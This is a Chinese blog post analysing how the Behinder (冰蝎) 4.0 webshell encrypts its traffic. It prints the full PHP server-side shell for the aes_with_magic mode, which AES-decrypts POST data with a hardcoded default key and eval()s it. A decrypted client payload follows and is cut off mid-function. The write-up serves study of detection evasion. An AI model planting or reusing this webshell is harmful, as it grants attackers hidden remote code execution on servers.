冰蝎 4.0 加密的代码

前几天写完了蚁剑,今天就研究下冰蝎吧,

冰蝎最主要的是可以流量加密,由于其密钥是可随机变化而无法深度了解特征

在最新的冰蝎 4.0 中,有多种加密方式,比如 异或 ,基于 Base64 的异或,在要么就是经典的 AES 加密等等共有 6 种加密方式,不同的加密方式其服务端的文件也是不一样的的

从冰蝎 3.0 开始,开始了密钥预共享制度,也就是在 WebShell 发过去的时候,密钥就提前发了过去,避免了在传输密钥的时候检测到了流量特征

这六种加密方式在 WireShark 种都是加密状态,在这里就选一种来说明吧

就用 aes_with_magic 来说明吧

我们可以先看看服务端的文件

<?php
@error_reporting(0);
	    function Decrypt($data)
    {
   
        $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的�?16位,默认连接密码rebeyond
        $magicNum=hexdec(substr($key,0,2))%16; //取magic tail长度
        $data=substr($data,0,strlen($data)-$magicNum); //截掉magic tail
        return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);
    }
	$post=Decrypt(file_get_contents("php://input"));
    eval($post);
?>

开发者在注释上说的很明白了,所以我就不再描述了

我们看看客户端都发送了什么

让我们利用 WireShark 抓包

难道我们就没有办法看源代码了吗?

不要着急,冰蝎提供了加解密模块,就让我们利用这个加解密模块

然后我们经过代码格式化,就得到了一下代码内容

<?php 
@error_reporting(0);
function getSafeStr($str) {
   
    $s1 = iconv('utf-8', 'gbk//IGNORE', $str);
    $s0 = iconv('gbk', 'utf-8//IGNORE', $s1);
    if ($s0 == $str) {
   
        return $s0;
    } else {
   
        return iconv('gbk','u tf-8//IGNORE', $str);
    }
}
function main</
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值